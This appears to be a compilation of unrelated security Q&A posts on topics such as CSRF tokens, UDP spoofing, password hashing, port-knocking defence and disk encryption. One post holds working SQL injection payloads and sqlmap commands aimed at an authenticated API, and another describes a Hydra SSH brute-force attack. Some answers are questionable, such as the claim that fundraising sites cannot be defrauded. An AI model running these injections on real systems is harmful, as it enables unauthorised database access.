I've been trying to think of a way this kind of site could be defrauded in a similar vein to a physical products e-commerce store (as above), but I'm struggling to think of any. This is my first foray into this kind of fundraising build and the legal department want to be aware of anything that might come up so they can deal with it quickly (as do I).

Are there any known types of attack I should know about, or is it a non-starter to try to defraud a fundraising site?

No, a one-way "exchange" like fundraising cannot be defrauded in the common way that online shops have to deal with. When there is nothing to gain, fraud is impossible as per the definition.

That said - how about chargeback charges? Does the charity have to pay for every chargeback? If so, it could be possible for me to harm your charity - if I don't agree with their cause - by a DoS-style attack (hundreds of donations, with hundreds of chargebacks).

I'd guess that I wouldn't try that - it could very well be that the banks would see the malicious attempt and refuse to fulfil the chargeback requests. In that case, I'd have funded a charity that I disagree with. Nevertheless, you should clarify this with your bank.


Wi-Fi enabled digital cameras A department in my company has decided that they want to use Wi-Fi enabled cameras because of how many pictures that they take. To be clear, these are not security cameras. Their current procedure is to take the cameras and plug them in via USB cable into their desktop to download images.

The department feels that the current process is too cumbersome because they can’t use the camera while it is downloading. In my opinion, I think a better option is to get SD card readers for their desktop and just swap out the SD cards (or whatever removable media they use) to download the pictures.

What I want to know is what are the disadvantages or security concerns of using a Wi-Fi enabled camera?

Your suggestion sounds like the prudent one. But here are some bullet points for the conversation.

Bullet points of the CONs of using wifi cameras:

Confidentiality - even if the cameras use 802.11i or other appropriate encryption, the images can be captured by an attacker who monitors the wireless transmissions and cracks the encryption.
Integrity - Depending on how the camera manages the image after transmission (does it save local and require the user to delete it? Does the camera delete it after transmission?) there is a possibility the image may get corrupted in transit, as it could with ANY transfer. In this scenario, if the image has already been deleted from the camera then you have lost the data. It's an unlikely scenario with several specific conditions, but it IS one of the points of the InfoSec triad (Confidentiality, Availability, Integrity)
Cost - I am pretty certain the cost of WiFi enabled cameras is much higher than media-readers (USB SD readers are probably < $10 Amazon.) Extra SD cards are cheap too, if you don't get ridiculously large ones.

Some PROs for going with WiFi cameras:

Convenience - even with SD media readers, the users have to go back to the workstation and swap out media. If the business campus is very large, this could be an inconvenience or a real waste of time.
"Gadget Fun" - Oooh, shiny! New! Gimme fun toys! =) Everyone likes getting new toys/gadgets/tools to play with, right?


Is it OK to put the CSRF token in a cookie? I am developing CSRF protection with a token for one of my applications. Since there is no place to implement the token in POST or GET or form data, I am thinking about putting it in a cookie. Is that a good approach?

Putting the CSRF token in a cookie instead of in a form field or HTTP header is a bad approach, and will not work. The thing that makes the CSRF token effective is that (unlike e.g. a session cookie) it is not sent automatically on all requests. It has to be added manually by your application. If you put it in a cookie, it will be send automatically and thereby it looses it's effect.

Of course, if you are using the double submit cookie pattern you will need a cookie. But that is a different story.


Is biometric passport safer than old-fashioned passport Our government encourages the citizens to move to "smart passports", which contain biometric data such as fingerprints. They say it is safer for us because it prevents identity thefts.

On the other hand, some people claim that the entire idea of having my biometric data in a government-controlled database is problematic, since this data might leak to criminals (e.g. because of a bribed officer, etc.).

I need to create a passport now and I am confused - which kind of passport is better?

This very much depends on implementation and the data stored.  For instance if the passport has a chip with your DNA information then it is relatively secure since it is really something someone else cannot fake, well they can if you reference Gataca, so it would not matter if the db was hacked or not assuming the implementation is by physically taking a DNA sample.  As others have mentioned fingerprints and facial scans can be duplicated but mostly because they can be digitized and analyzed easily, DNA samples cannot without very expensive machinery.  In other words, at this point in time no one will use a blood sample to access your bank account online, if they did then it would be more susceptible, however I can see governments using DNA analyses to verify the identity on a passport.

The problem with a lot of common bio-metrics is that there are fairly easy ways to fake it, like rubber finger prints or makeup which can be faked without ever physically accessing the person, taking blood or skin samples requires access to the source of the material and is harder to trick people with.

Of course the alternative is a password or a signature which can have it's own issues, I would say if there was a choice fingerprints would be more secure, if for nothing else it would be a lot more trouble for someone to obtain then a password.

Hope that helps


What sort of attack can reset MySQL Privileges and unmount remote drives without root or shell? ATTACK VECTOR
Monthly hits  via a globally DDoS attack. Resolved with Cloudflare.

Attacker can now somehow unmount network drive links and reset MySQL user permissions for applications.

Attack is resolved by simply by issuing these commands:

GRANT ALL PRIVILEGES ON application.* TO application_user;
FLUSH PRIVILEGES;

I also need to remount the remote drive using sshfs

SYSTEM DESCRIPTION
My system operates with 2 servers.

A server has MySQL, Memcache, Nginx, and a lot of static content.
B server has Apache, PHP5-FPM, and mounts the static drive from A to serve some shared content. This is for imaging purposes.

A server and B server only talk on ports 80 and 443 to Cloudflare because we have been DDoS'd before. As far as I know, their true IPs are unknown.

A server does NOT allow foreign connections on 3306 for ANY user.
All MySQL passwords are 32 characters long and include non-alphanumeric characters ($@_'")
The passwords of users DO NOT change and the attacker has NEVER been able to provide me evidence they can read the database.

A and B server do not accept SSH on port 22 and their passwords are 64 non-alphanumeric characters. I have never seen logs that show an unfamiliar connection was made.

Application-level users do not have the ability to access mysql.user and they cannot make changes to this table. An SQL injection is unlikely because the attacker does not drop tables.

A reboot of server A.

What's the uptime of server A ? Is it possible that it is having an disk error / getting restarted? In that case, the sshfs mount would obviously require a remount. And sometimes there are boot scripts in place that could be resetting some credentials to the default ones…

PS: You don't need the FLUSH PRIVILEGES when using the GRANT statement. Only when directly changing the mysql.user table (INSERT, UPDATE…) it is needed.


Encrypting an email server's local drives or filesystems Planning to deploy a remote hosted mailer (Zimbra based) I need to make sure the local data on the machine is encrypted. Currently, the plan is to use the built in LUKS to encrypt /opt/zimbra and leave it at that, however, since I have no experience with encryption, I am on the lookout for additional options or ideas, especially in terms of disk performance and the possibility to actually boot the host without entering an access password.

Some details:
500 mailboxes, 8 CPU cores, 32Gb RAM, 8x SAS disks in raid10. RHEL6 OS

The system you're suggesting is fundamentally at odds with itself. If a password is required to access the drive, then it must be accessible during the boot process. Either it must be stored somewhere or it must be entered in by hand.

If you can't reconcile that one point, then you can't do encryption on your server.


Is it possible to successfully send a spoofed UDP header with a completely unrelated source IP? I've read that many networks use ingress/egress filtering to eliminate the number of spoofed UDP packets sent and received by their network.

Given that network provides have been much more diligent in restricting the amount of spoofed UDP packets sent and received by their networks, is it possible to send a UDP packet with a spoofed header that is drastically different than it's actual IP address?

Besides blocking spoofed packets from leaving their networks, in which other ways can network providers ensure that they are not passing along or sending spoofed UDP packets?

It is possible to spoof IP addresses. The issue is always the underlying protocol. For TCP/IP, you're almost out of luck unless you don't proceed with a full handshake. For UDP however, if you don't care about a response and aren't trying to build fault tolerance, you can use it.
There are several ways routers can stop IP address spoofing. The main ways for Cisco routers are:

LAN

Involve any solution that attempts to minimize asymmetric
    routing, e.g. Spanning tree protocol STP. Naturally a
    spoofed UDP packet won't have a symmetric route. The only problem is
    that the directed graph issue would entail a subset of nodes in the
    routing to support STP. Also, UDP may not be affected.

WAN

RFC 1812 addresses your concern. Note the fact that there are a lot of asymmetric routes on the internet, so it becomes a harder task.
The above RFC was referenced here:

"We considered suggesting routers also validate the source IP address
   of the sender as suggested in 8, but that methodology will not
   operate well in the real networks out there today. The method
   suggested is to look up source addresses to see that the return path
   to that address would flow out the same interface as the packet
   arrived upon. With the number of asymmetric routes in the Internet,
   this would clearly be problematic."


How to get private key from certificate and base 64 encoded key? Sorry for the poor question. Suppose I have a certificate of the following lines:

-----BEGIN CERTIFICATE-----
     //22 Lines of encoded junk
-----END CERTIFICATE-----

And then this base64 encoded key

<key>
MwqzrZVXYvtwYHaPcrmNbSjPverXXi0OxSivw7K1ZVzLOrKPiSvZQmRoYCKUa356Awow1Goo8pkE5B5qL40AwAELm15c2l04246djdgGBspJhyAJX0K0raxZ5KWsb0jGShetPt8y5WKGiXu4YWqH9abbqsAXzeMQiLlV1mY7n3acurlF53oD8t7MYapWsgPtUVTWW7LqGTnnwZLnnPr/QaZ58/DaiDxLuaGhrmW6xbQM94hH4QgnEE23aCgyjyPjQxYZU5bjX0qeOksaB03uw3bX+DkwSB/fbzXrLGz83WS//z/eiz7Smg3HJ+kmuBmU/79S2Tor7ifkevnCH0RMFg==
</key>

Is it possible to get the raw private key, I think something of this nature:

-----BEGIN PRIVATE KEY-----
     //15 lines of encoded junk
-----END PRIVATE KEY-----

How can I get that? I thik this was all done with openssl. Thanks

The certificate contains only the public key. By construction, it is not feasible to extract or recompute the private key from the public key.


How to make sure my phone is secure after a phishing attempt? Situation: My phone is an android (Samsung Galaxy s6) - In a moment of mindless distraction yesterday I opened a pdf in a phishing email - it did contain a link but I did not click it. Very shortly afterwards, I went to Facebook and it had logged me out, which it never does. This made me suspicious that there was indeed malicious code in that pdf so I installed Bitdefender Mobile. The scan was clear (and I've now repeated it several times). But then my banking app asked for extra authentication than it normally does so now I remain concerned that my phone is compromised but Bitdefender isn't catching it. My questions are: Is it likely that malware is being missed? And now that I have activated the App Lock feature in Bitdefender, does that protect me if there happens to be malware on my phone that is designed to steal credentials? Couldn't the malicious code just lift the credentials for App Lock like everything else, thereby rendering it useless?

I can't tell that your smartphone is 100% free from malware just because Bitdefender scan was clear. You have to check with Bitdefender AppLock feature all your apps access to your smartphone, avoid giving personal data access to any apps that do not necessary to access your personal data.

Backup your data on the smartphone as soon as possible to secure your personal data and perform factory reset is the only way to guarantee your smartphone is 100% free from malware threats.

For the next case, if you opening an e-mail you have to check the source of the e-mail and never give any personal data to unknown or malicious e-mail sources.


An alien packet from the switch shut down my ethernet card when using nessus? I'm stuck in between a very bad cocktail mix of two very desperate technologies. One is Nessus and other is a Juniper EX2200. When I'm running the two together, the NIC on my HP MiniTower 6200 Pro shuts down completely. This happens roughly 2-3 minutes into the Nessus scan.

My environment is that I have a Juniper switch set up along with SSG-5, which provides the gateway for the lab-test environment. Firewall is working in NAT mode.

Rough description of my problem environment is:

Juniper ---> uplink
|
SWITCH ---> vlan 20 > connected via trunk cable
|
PC - Gigbait Ethernet card (belongs to vlan20)

When the Ethernet card shuts down, the packet dump shows (if I remember correctly):

Juniper84:91:12  ........ 52 RST spanning tree

It is a link layer protocol message coming from the Juniper switch.

Also, if I run the scan using uplink direct connected into my NIC card I do not get a problem.

I'm thinking that there is some kind of update sent from switch to my access port which shuts down the NIC card, something like STP updates. Right now, I haven't disabled such updates because I really don't know what is causing it.

Also, please suggest any troubleshooting steps / commands I can run on switch device.

update

I just resolved the problem as I just found that VMWare networking service was sending in VTP updates through my machine access port, doing so resulted in core switch putting my port into blocking mode.

With this solved, is there a way I can prevent this from happening at the switch level instead of just disabling VMWare services?

From the above, you're not able to run a scan using Nessus when you connect to the EX2200 (ssg as well?) but when you connect directly to the uplink, you can run/complete the scan - is that correct?

Assuming it is, when you say the interface "shuts down," can you confirm at what level the interface shuts down?  For example, is it a physical port down (i.e. link lights go out) or is it logical (l2 or higher)?  In either case, chances are you're on the right path.  The ex220  (or perhaps even the ssg) could disable/shut-down a port if it detects certain policy violations.  Depending on how the port is disabled/shut-down, you could figure out what's causing the behavior.  Assuming you're running JUNOS 12.1, here's a link to a page with documentation for the EX series switch.  EX can run as a UTM (and other security modules) so it's possible that physical shutdown or port disablement is initiated by some module on EX.  In an enterprise, you'd be concerned if some port randomly started to initiate suspicious behavior (ip address spoofing, mac address spoofing, storm control, etc).

I'd recommend checking the security features on the ex2200 first to determine if (or which) security feature is kicking in.  Otherwise, could it be the ssg (the above diagram wasn't clear whether you initiated the scan internal or external to the ssg).


which hashing algorithm is better to use to store a password, sha256 or sha512? which hashing algorithm is better to use to store a password, sha256 or sha512?

I know that sha512 is more secure than sha256 but I was wondering if it has some disadvantages or it is completely better than sha256.

To expand on the point that @cthulhu makes in his comment, the correct answer to this is "nether".  SHA2 family hashing algorithms are not designed for password storage and unless you have no choice but to use a general purpose hashing algorithm, they should not be used.
To quote this answer the main reasons for this are

A basic hash function, even if secure as a hash function, is not appropriate for password hashing, because:

it is unsalted, allowing for parallel attacks (rainbow tables for MD5 or SHA-1 can be obtained for free, you do not even need to recompute them yourself);

it is way too fast, and gets faster with technological advances. With a recent GPU (i.e. off-the-shelf consumer product which everybody can buy), hashing rate is counted in billions of passwords per second.


iOS data protection: Who decrypts files transferred over USB? I'm trying to understand an implementation detail of Apple's data protection in iOS: I know about the per-file encryption and the various key encryption classes and keybags; however, I don't understand how that works for file transfer over USB (e.g. for iTunes backups).

When backing up data to iTunes over USB, does the iOS device decrypt the file internally, or is it sent in its encrypted form, and iTunes performs the decryption (using the various class keys contained in the Escrow Keybag)?

The former possibility seems more plausible, since in newer versions of iOS, the Escrow Keybag is supposedly encrypted with a key only known to the iOS device, so I suspect that the procedure looks something like this:

The host authenticates to the iOS device with its host key
The host transfers the encrypted Escrow Keybag to the iOS device
The iOS device decrypts the Escrow Keybag, thereby gaining access to the class keys of all security classes without the user having to unlock the device
iTunes requests some files for backup purposes, writes others to synchronize music etc, and all encryption and decryption happens on the iOS device, using the keys provided by the Escrow Keybag.

Can anybody confirm that, or point out where I am mistaken?

Your hypothesis is most likely correct.

The Data Protection APIs indicate that data can be in one of three states:

Unencrypted all the time
Unencrypted after first PIN code entered after boot
Unencrypted while unlocked (re-encrypts 10s after screen lock)

This information (along with the info you pointed out in your question) indicates that most likely iTunes is verified and determined to be trusted, then the data is unlocked/unencrypted for transport over USB by the device itself.

It is of course possible that Apple is using entirely different APIs to access the data for syncing, but it seems most likely that their APIs are at least similar to the system provided data protection APIs, if they aren't using exactly those.

More information on Data Protection is in the notes/video from WWDC 2012 Session 714 "Protecting The Users Data"


Browser response to SHA1 signed cert Generated a IIS server certificate using my domain certificate authority (presumed to be an intermediate to the 'secret' root CA) via the Server Certificates -> Create Domain Certificate 'wizard'.  Entered the FQDN of my server for the common name, filled out remaining form and hit Finish.  Certificate is generated and shows up as a valid cert Issued by MYDOMAIN.FQDN and Issued to MYSERVER.FQDN.  I changed the binding for 443 to use this new cert.

When I visit the site using:

Chrome - It doesn't give me the 'untrusted popup' but it does put a red line through the HTTPS part of the URL and when i check the details it says:  "This site uses a weak security config SHA-1 so your connection may not be private"... I check the details of the certificate and it is indeed the same TLS 1.0 cert i had just enabled and I do see our MYDOMAIN.FQDN as a trusted intermediate certificate in the Chrome -> certificates menu.

Firefox - It gives me the popup saying "can't confirm that your connection is secure"... "The certificate is not trusted because the issuer certificate is unknown"... so I look for the MYDOMAIN.FQDN in Firefox's certificate menu and it's nowhere to be seen.

IE - Lets me right through and I do see MYDOMAIN.FQDN as a trusted intermediate certificate authority.

Questions:

Why doesn't Firefox recognize MYDOMAIN.FQDN as a trusted intermediate certificate... shouldn't this be stored at the OS level (and as a member of the domain apply to all browsers?)
I fully understand the risk of using SHA1 and the discovered vulnerabilities... is Google just trying to push people out of using SHA1 by putting the (very visible) red line through the URL?
Is there a setting somewhere in my domain certificate authority that will default to SHA2 or better signature hashs as I didn't see an option for hash algorithm in the "Create Domain Certificate" wizard.  I'm guessing I could go through the Create Cert Request -> Issuance in two steps and specify the hash algorithm.

Thanks!

To answer the first two bullet points:

Firefox has its own list of trusted CAs. You can add certificates in Menu Button>Options>Advanced>Certificates(tab)>View Certificates>Authorities(tab).
This is for Firefox version 38.
Yes Google is trying to shame people into moving from SHA1 to a more secure hash such as SHA2. Here is the chromium blog post about it. Also see the note at the bottom about SHA1 in root certs being treated differently than SHA1 in intermediate certs.

edit: I came across some official Microsoft documentation for using SHA-2 on subordinate CAs so I will include it in my answer.

  Configuring Subordinate CAs for SHA-2

  The hash chosen on the root CA determines how the Subordinate CA's certificate is signed, regardless of the CSP/KSP and hash is chosen during the subordinate CA's install (and requested in the subordinate CA's certificate request). The requested hash in the certificate request will be ignored and the values in the registry on the parent CA will prevail.

  During the Subordinate CA install, the hash algorithm you select under the Select the hash algorithm for signing certificates used by this CA determines how the certificates and CRLs issued by the Subordinate CA are signed. These values can also be changed using the registry keys indicated above and will apply after a restart of ADCS.

  To summarize, by default, the hash algorithm selected during a root CA's install will determine the hash used to sign the root CA's own certificate and all certificates and CRLs that it issues (although you can change the signing algorithm using the registry changes after the root CA certificate is generated). Subordinate CA's own certificate will be signed by the hash indicated during the root CA's install. The certificates issued by the Subordinate CA will be signed by the hash selected during the Subordinate CA's install. All selected ciphers used for signing issue certificates and CRLs can be changed in the registry, and after restarting ADCS, will apply to all future issued certificates and CRLs.

  It's also important to note that the certificate template version or the client requesting the certificate has no impact on whether or not the CA signs with a particular hash. The hash used to sign digital certificates is determined by the fields and values listed above.


What are the best pratices to avoid my server being port scanned The title probably says it all. I just want to know the best techniques to avoid having a port scanner detecting open ports on my server. I'm using a Linux distro as my OS (Ubuntu Server).
Please, don't consider the use of external devices (like external firewalls), I wish I could only use what the distro or external packages offer.

Portknocking
Portknocking is a method to open ports that the firewall normally keeps closed by executing a series of connection attempts (knocks) to other ports. Upon the valid sequence of port knocks, the required port will open.
Think of portknocking as a special knock on a door for the door to open.
Here is an example from ArchLinux wiki:
$ ssh username@host
(Ctrl+c to exit) ^C
$ nmap -Pn --host_timeout 201 --max-retries 0 -p 1111 host
$ nmap -Pn --host_timeout 201 --max-retries 0 -p 2222 host
$ ssh user@host
user@host's password:

The user knocks port 1111 followed by 2222 to open up port 22 for SSH.
Portspoof
Portspoof is a program which makes interpreting port scan results very difficult, therefore slowing down being able to identify open ports.

The Portspoof program primary goal is to enhance OS security through a
set of new techniques:

All TCP ports are always open

Instead of informing an attacker that a particular port is CLOSED or FILTERED
state Portspoof will return SYN+ACK for every port connection attempt.

As a result it is impractical to use stealth (SYN, ACK, etc.) port
scanning against your system, since all ports are always reported as
OPEN.

Every open TCP port emulates a services

Portspoof has a huge database of dynamic service signatures, that will be used to fool
scanners to believe there's a legitimate service running. Scanning
software usually tries to determine a service version that is running
on an open port. Portspoof will respond to every service probe with a
valid service signature, that is dynamically generated based on a
service signature regular expression database. As a result an attacker
will not be able to determine which port numbers your system is truly
using.

Quoted from https://github.com/drk1wi/portspoof
Portspoof makes identifying listening services much more difficult and as the README states, it would take over 8 hours to identify which ports are actually listening. Identifying the real ports is so time consuming that the attackers will likely give up.
This guide shows how you can install Portspoof:

Compile the software, go in the directory where you have unzipped/put the sources and give these commands:

$./configure $ make $ sudo make install
OR
$ g++ -lpthread -Wall -g Configuration.cpp connection.cpp
Portspoof.cpp revregex.cpp Utils.cpp Fuzzer.cpp Server.cpp -o
portspoof

Configure your firewall rules:

iptables -A PREROUTING -i eth0 -p tcp -m tcp --dport 1:65535 -j REDIRECT --to-ports 4444
iptables-restore < iptables-config
(system_files directory)
Run Portspoof with service emulation:
$ portspoof -c portspoof.conf -s portspoof_signatures -D
Run Portspoof in “open port” mode:
$ portspoof -D

Add portspoof to your system’s startup scripts. To do this modify or use the default init.d script that you can found in the
‘system_files’ directory.

Combine Portknocking with Portspoof and you've got yourself a nice defense from port scanners.


How to use custom injection in sqlmap? This is post data, normally looks like this

{"end_date":"2018-8-26","start_date":"2018-8-26","success":1}

Below resulting "You have an error ..."

{"end_date":"2018-8-26'","start_date":"2018-8-26","success":1}

Below successfully print db version and user version

{"end_date":"00:00:00') union select 1,user(),version();--+","start_date":"","success":1}

What I've done so far is

python sqlmap.py -u http://redacted.com/api/v1/endpoint --headers="Authorization: Bearer xxxx" --data='{"end_date":"00:00:00","start_date":"2018-8-26","success":1}' -p "end_date" --sql-query="00:00:00') union select 1,user(),version();--+" -v 3

But Sqlmap still failed, where I'm doing wrong?

Thanks in advance.

You could try some of the following:

python sqlmap.py -u http://redacted.com/api/v1/endpoint --headers="Authorization: Bearer xxxx" --data='{"end_date":"00:00:00*","start_date":"2018-8-26","success":1}' --sql-query="') union select 1,user(),version();--+" -v 3

By using the astersisk you can tell sqlmap where to inject.

python sqlmap.py -u http://redacted.com/api/v1/endpoint --headers="Authorization: Bearer xxxx" --data='{"end_date":"00:00:00","start_date":"2018-8-26","success":1}' -p "end_date" --prefix="')" --suffix=";--+" -v 3

You can use prefix and suffix (as well as combine them with the asterisk) to precisely tell sqlmap where to put what in you injection attempt.
Maybe that solves your problem already. Also you can have a closer look here.


What are cookies and cache? While surfing on the Internet, I am often afraid that I may have downloaded some malware program along with some files on my computer. Furthermore, I have been told that the reason for that are cookies and caches.

In the same order of idea, most of the sites I visit, there is a popup that says that they use cookies. And now I am wondering what are cookies and caches. Are cookies bad? If yes, what are the best ways to protect from it?

As HTTP is the stateless protocol, which means a web server treats every request coming to it as an independent request i.e communication consists of independent pairs of request and response. So in order to maintain the session between client and server, cookies are one of the techniques to do so. There are various other techniques to maintain the session.

Cookies are the key value pair (for every unique key, a value is associated with it e.g. session_id = 12345). It is sent by the website and stored in the browser. The next time user visits the same website, the cookies are automatically sent to it.

Now coming to your concern "I visit, there is a popup that says that they use cookies", there is no issue regarding what cookies you receive from the website. A cookie on its own cannot do any harm to the system because it does not contain any code, but it can assist in attack, check Why is it necessary to scan cookies

Cache is the temporary memory which browser uses to make the user experience better by storing the frequently visited webpage information like .css files. It speeds up the process so that data does not have to be fetched from its original location and, therefore, saves time. From the end user point of view, one must not worry regarding security issues related to browser cache. As a developer, it is important to test the browser cache issues.


Why isn't email filtered when using contact form When I send a non-gmail email to someone (company email) for the first time, there's a chance it will get filtered into the ether, never to be heard from again.

However, if I use their website's contact form and fill in the same email, it reaches them. I've had this happen a few times.

What is the difference in using a contact form? Isn't my email being used as the from/reply?

A contact form is setup by the company to explicitly get feedback. Contact forms are also often somehow protected against automatic submissions or at least any automatic submission need to be specifically adapted to the companies specific contact form. That's why such contact forms are not much used to deliver spam, at least not in mass. And that's why not much filtering for spam is done there. And, contact forms usually don't result in an email to the company with the address you've gave as sender. If the contact information are delivered by mail at all (often they don't), these emails are usually from a fixed sender and only include the information about the claimed sender and the message he left in the body of the mail.

With email instead there is no implicit rate limiting, no customization needed for specific recipients etc. This makes email a cheap way for spamming and because of this it is heavily used for spamming. And this is even more true for widely known email addresses like the contact email usually published by companies. To fight the amount of spam companies therefore employ heavy filtering   so that most of the spam gets automatically detected. This might also result in false positives, i.e. non-spam messages treated as spam. This is especially true if these look like spam or they use similar delivery infrastructures as spam, like not using the delivery infrastructure of a major mail provider but instead having setup their own delivery infrastructure.


risk of default pw on my raspberry pi I have a raspberrypi with raspbian and default user and pw (I know, don't shoot me). I setup port fw on my router so that I could ssh to it from an external network. Also because my external IP keeps changing every time I reboot my router I'm using dynamic dns on the pi.
After a few months of not using it I tried to ssh to it and my credentials were invalid.
Tried the same original credentials loging in directly with the same result.

I've got a feeling that I've been hacked and that someone managed to change my default pw....but how?

1.How easy is it to just try to ssh every public IP on earth with default user and pw?

I'm thinking of plugging the sd card on my pc to try to recover some of the stuff that I had there.

2.What is the risk of plugging in a compromised sd card?

If the hacker did in fact manage to get hold of my Pi.

3. What is the extent of the damage caused by having a hacked machine inside my LAN?

And

4. How can I make sure that there are no further exploits on my local network?

Basically, you set up a honeypot, whether you intended to or not. When you port forward, any protection the router provided is bypassed. So:

It's easy, but that's not generally how attackers work. Scanning is easy, and fast. Identifying what software is running is slower, so they tend to look for common flaws. Sadly, default passwords are one of those common flaws, so they probably scanned for boxes running Raspbian, and tried the default credentials on those boxes.

Normally, it would be a really bad idea. However, there is a slight saving grace in that the attacker was hitting a Raspberry Pi. By default, the boot partition is a read-only Fat32 partition in normal use, while the remaining space is a Linux format (probably ext based, but there are alternatives). This means that plugging it into a Windows box is unlikely to result in further compromise through the card. Similarly, any software running on the Pi won't work on Windows. However, any malicious file based attacks could work (e.g. uploading an evil PDF which you then looked at on another machine).
Safest option (Assuming you want to keep the card) is to format it from a live CD. Second safest option would be to access it from a Live CD from a machine with no writable drives and grab any files you need, virus scanning them before allowing onto a clean machine.

Depends on your network. Worst case, all your machines are compromised, all your data has been stolen, and you've been sending out attacks for the last few months. Best case, they didn't get past the Raspberry Pi. No way to tell which is the case without access to your networked devices.

Firewall everything, use strong passwords, ensure any machines which are accessible from the internet can't access the rest of your network. Standard network security stuff, basically.


What is Net-Worm.PHP.Mongiko trying to do? I found several lines of this request in my web server access log:

Source IP       Dest IP Request                                                                 Stat User agent
217.172.190.19  1.2.3.4 POST /?cmd=info&key=a7aa3875fc4422ca78f7b4216205b9a5&ip=1.2.3.4 HTTP/1.1 200 Net-Worm.PHP.Mongiko.a

Tried to Google, but found no information. What is Net-Worm.PHP.Mongiko and what is it trying to post on my website?

This virus alert is a scam. The goal is to get admins to download and execute special "removal tools", which are in fact the actual virus.

Another note about how websites work and what you see in the access log:
You can go to basically every website and append arbitrary parameters like ?cmd=foo&key=bar and the website will just load and ignore the parameter. This suspicious log entry may not mean anything at all!

Monitor your system closely to see if your it is indeed doing something fishy. E.g., by logging all HTTP traffic containing suspicious parameters.

The removal tool as advertised (There's a link in the comments - do not install), will open your firewall and allow an attacker to remote control your machine.

I recommend you also watch the thread following this freebsd-security mailing list post, if you want to know more.


Is using a username and smart card two-factor authentication? Is username counted as one-factor, something you know?

A smart card (which contains the username and user information inside the card) is something you have.

What if the smart card doesn't contain the user information but the username is checked on the server before the smart card is used?

If the username is secret and not reasonably ex tractable from card, I would say yes.

If the username is not secret, or at least easily guessable because it is strongly based on something not secret like your name it should not be considered a "factor" for authentication.

If the username is easily retrievable from the card we do not have independent factors which is what we really need when discussing Multi-Factor-Authentication.


Full Disk Encryption and FIPS I've been tasked to find out what's required to use BitLocker (or any other FDE method/mechanism) in Windows 10 in "FIPS mode". This is outside the realm of my expertise (and I've advised the client to this fact), but I've endeavored to try to figure it out nonetheless. I've read a lot of information over the last several days but am at a loss to find a definitive answer. I've seen references to operating BitLocker in "FIPS mode" without finding any concrete information (that I could understand) on what that actually means. My question is this:

Is it required to enable the security policy setting System cryptography: Use FIPS compliant algorithms for encryption, hashing, and signing in order for BitLocker (or any other FDE method/mechanism) to operate in "FIPS mode"?

FIPS is a security standard; it stands for Federal Information Processing Standard.
If you enable a security policy setting that is FIPS-compliant you may have a lot of restrictions:

BitLocker will not allow creation or use of a recovery password The standard forbids this.

BitLocker will only release keys to be stored on USB flash drives

BitLocker Drive Encryption is currently supported/restricted to specific versions of Windows.

BitLocker will only offer FIPS approved methods of validation

BitLocker will only operate in its FIPS-mode once volume conversion (encryption) has completed and the volume is fully encrypted.
Practically, if you want to be FIPS-compliant you have to have encrypted the volume, then get rid of the recovery password. You will then have to use only one of the 2 protectors which are FIPS compliant: a data recovery agent or a recovery key for the volume.
Additionally, in the group policy for FIPS, you can disable the possibility of creation of recovery passwords.

If you do the above, you're FIPS compliant and you should enable "Use FIPS compliant algorithms for encryption, hashing, and signing". If you don't need to be FIPS compliant, you can use Bitlocker just fine and you don't need to restrict anything related.
The policy itself is not a requirement because you could correctly configure a FIPS compliant system without it being active, given you follow the FIPS compliance guidelines. But without that policy you could by mistake (and with high chance) configure something that does not comply with FIPS. The policy will prevent you to do that and will filter your choices (regarding algorithms, encryption, etc) so only the compliant ones will be available/displayed. That's the actual purpose of it.


Can a program containing virus, used to flash USB firmware infect it despite formatting? I was having problems with my Kingston 8GB USB drive (it kept saying "write protected"). I solved the problem by first using ChipGenius and then a program called "Restore v3.13.0.0". I downloaded from a Russian website. But along with the program I obviously downloaded a virus too (Kometa virus, a docked toolbar appeared on the right of my screen). Is it possible, despite being formatted, for the USB to be infected and the firmware to be messed up?

Yes.
Unfortunately, without more specific information on the infection, it's hard to know how likely it is, and it probably isn't likely* that it flashed the firmware in such a way as to infect it, but you can't be 100% sure.
* This is not to say of malware that uses the Autorun feature which hop off of a USB flash drive by using autorun.inf. It's actually not unlikely that malware on the machine may hop onto the flash drive that way.


What is the safest way to encrypt a password that can be decrypted at a later time? In a web app I'm building, I need to use Apple's AutoIngestion tool for iTunes Connect. In this tool it seems the only way to use it is to send a password in plain text.

What would be the best approach for saving a user's iTunes Connect password and then retrieving it at a later time? I do understand that two-way encryption is bad for passwords but there doesn't seem to be an alternate way for this.

In most cases, what seems like the best way to handle this is to use the functionality provided by your OS to store credentials and password.

On OSX and iOS, you can use keychain. Under Windows, you can use the credential manager (also called password vault), DPAPI or the certificate store, depending on what exactly you want to do. In any case, I suggest you head to Stackoverflow and ask implementation specific systems.


Analyzing log files for forensics homework? Suppose two users have done a murder at 6pm at Dunkin Donuts, I have got the hard disks on site, disk1 and disk2.

How do I identify the time and order of each user's activities on the hard disks?

The Gmail communications are easy to pick on, but I am not getting anywhere with the rest. I can see that users logged on multiple times. I can also see some failed logins, which makes me wonder what could have caused them on the first disk? The second disk installs ssh and it looks like it runs hydra, which is a brute-force password cracking tool. I don't see how it will be useful for them for a physical crime? The second disk also shows sessions opening, then other sessions opening before the opened ones close, which makes me wonder whether this is a remote machine. I don't really know what is going on here, so I can't figure out the timeline....

disk1 (larger)

disk2 (larger)

My solution would be:

The user innocent compiles THC-Hydra from source, then realises that he / she is missing a necessery lib and installs it (hence the sudo aptitude install libssh-2 on innocent-laptop). He / she then proceeds to use Hydra against naive's ssh roughly at 18:22:30 (as marked by the network configuration). The attack succeds at 18:50:29. Innocent then proceeds to delete naive's .bash_history, launch a firefox on naive's computer (presumably through X tunneling) and sends an e-mail from naive's gmail to his / her own requesting a meeting at 5:50pm. Then innocent shuts down naive's computer and deletes his / her bash history before shutting down innocent-laptop too.

This basically means that innocent is trying to craft an allibi for him- or herself, which basically makes him / her the prime culprit in the murder.

TL;DR
Innocent isn't really innocent.

By the way where do you get homework like this? Because this stuff is awesome.


cryptsetup luksHeaderBackup file smaller than Payload Offset? I created test LUKs container in a file, the luksDump says

  MK bits:        256
  Payload offset: 4096

implying that the header is 4096*512 = 2MiB
but the file produced by

  cryptsetup luksHeaderBackup --header-backup-file header.backup /dev/loop0

is only 1052672  (1MiB + 4096)

Why ?

The payload start is rounded up for alignment purposes. How much can be controlled by providing the --align-payload option to luksFormat.


Employer makes me use what I believe to be an insecure website for HR functions. What to do? At my job, to be able to view my paychecks, vacation hours and HR data on myself I need to log into a 3rd party website.

I'm by no means a security expert or expert programmer but I could tell (simply by trying) that I could continue to try incorrect passwords without being locked out. (brute force: viable)

